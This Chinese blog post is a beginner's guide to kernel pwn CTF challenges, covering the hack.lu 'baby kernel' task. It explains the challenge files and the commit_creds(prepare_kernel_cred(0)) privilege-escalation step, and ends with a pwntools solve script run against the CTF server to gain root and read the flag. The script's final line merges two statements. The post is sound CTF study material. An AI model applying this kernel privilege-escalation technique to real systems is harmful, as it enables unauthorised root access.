Kernel pwn-极简题目的操作模式

完全参照M4x师傅的指导,用 hacklu的baby kernel迈了第一步

题目附带文件说明

一般题目会给出bzImage,.cpio, .sh文件

  • sh文件适用于启动kernel的shell脚本文件,参数决定了内核的保护情况。

  • .cpio文件为文件系统映像。将其解压可以获得服务器交互程序的客户端

  • bzImage为kernel binary,可视为压缩后的文件

  • vmlinux文件(if exists), 未经压缩的kernel文件,为ELF格式。

    • 如果没有vmlinux文件,可以通过extract-vmlinux提取

    • ./extract-vmlinux ./bzImage > vmlinux

基本操作

  1. 获得服务器文件系统环境

    解压cpio文件,能够获得服务器内部文件分布,包括创建环境的init脚本和交互程序。

    在inti文件中,通过insmod命令加载驱动模块

    insmod /lib/modules/4.4.72/babydriver.ko

    一般情况下,被加载的LKM即为漏洞所在。

    .ko文件也是ELF文件格式,可以通过ida进行分析。

    可以通过分析交互elf文件,确定交互逻辑和调用内核模块的??

  2. 提权

    最常用的提权手段:

    commit_creds(prepare_kernel_cred(0))

    两个函数的地址可以在 /proc/kallsyms中查看。

    vmlinux是未压缩的kernel文件(ELF格式),可以通过vmlinux提取到gadget,当然也可以从vmlinux文件中获取上面两个函数的地址。

  3. loadling…

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
from pwn import *
#context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
# io = process('./client_kernel_baby')
io = remote('arcade.fluxfingers.net', 1817)
kernel = ELF('./vmlinux') # get the address of 2 functions from vmlinux
cred = kernel.sym['prepare_kernel_cred']
commit = kernel.sym['commit_creds'] # run prepare kernel cred(0) and get the return value
io.recvuntil('----- Menu -----')
io.sendlineafter('> ', '')
io.sendlineafter('>', str(cred))
io.sendlineafter('>', '')
io.recvuntil('It is: ')
ret_val = int(io.recvuntil('\n', drop = True),16) # run commit cred to get root private
io.sendlineafter('> ', '')
io.sendlineafter('>', str(commit))
io.sendlineafter('>', str(ret_val)) # read flag as root
io.sendlineafter('> ', '')
io.sendlineafter('>', 'flag') io.interactive()

作者:辣鸡小谱尼


出处:http://www.cnblogs.com/ZHijack/

如有转载,荣幸之至!请随手标明出处;

最新文章

  1. Linux系统下输出某进程内存占用信息的c程序实现
  2. XDU 1160 - 科协的数字游戏I
  3. 【Java】聊聊常用的摘要算法,比如MD5
  4. 【POJ2752】【KMP】Seek the Name, Seek the Fame
  5. android支付宝支付开发过程
  6. Oracle 11g RAC database on ASM, ACFS or OCFS2
  7. chrome console 命令简记
  8. 使用SevenZipSharp出现“Can not load 7-zip library or internal COM error! Message: DLL file does not exist.”的解决方案
  9. 「Vue」起步 - vue-router路由与页面间导航
  10. CentOS 7 中使用NTP进行时间同步
  11. bzoj 2286: [Sdoi2011]消耗战 虚树+树dp
  12. python基础(16)私有类,类,类变量
  13. JS检测浏览器Adobe Reader插件
  14. Android gravity和layout_gravity的区别
  15. Hdoj 2191.悼念512汶川大地震遇难同胞——珍惜现在,感恩生活 题解
  16. CANOE入门(一)
  17. [LNOI2014]LCA(树链剖分+线段树)
  18. Google I/O 官方应用中的动效设计
  19. 深度学习的batch_size
  20. ThinkPHP框架 自定义 Empty 方法保护本地信息不被暴露!!!

热门文章

  1. Nginx总结(八)启用Nginx Status及状态参数详解
  2. Mac将本地文件上传到Centos7(Linux)服务器上
  3. sublime3 快捷键总结
  4. leetcode-简单-栈-逆波兰表达式
  5. mybatis 通过配置父类数据源连接和关闭数据,进行junit单元测试
  6. Jmeter后置处理器,正则表达式提取器的使用
  7. Window 系统 Excel 同时打开两个Excel 文件
  8. Lucene之分析器
  9. go 序列化
  10. linux bash 用户输入yes or no.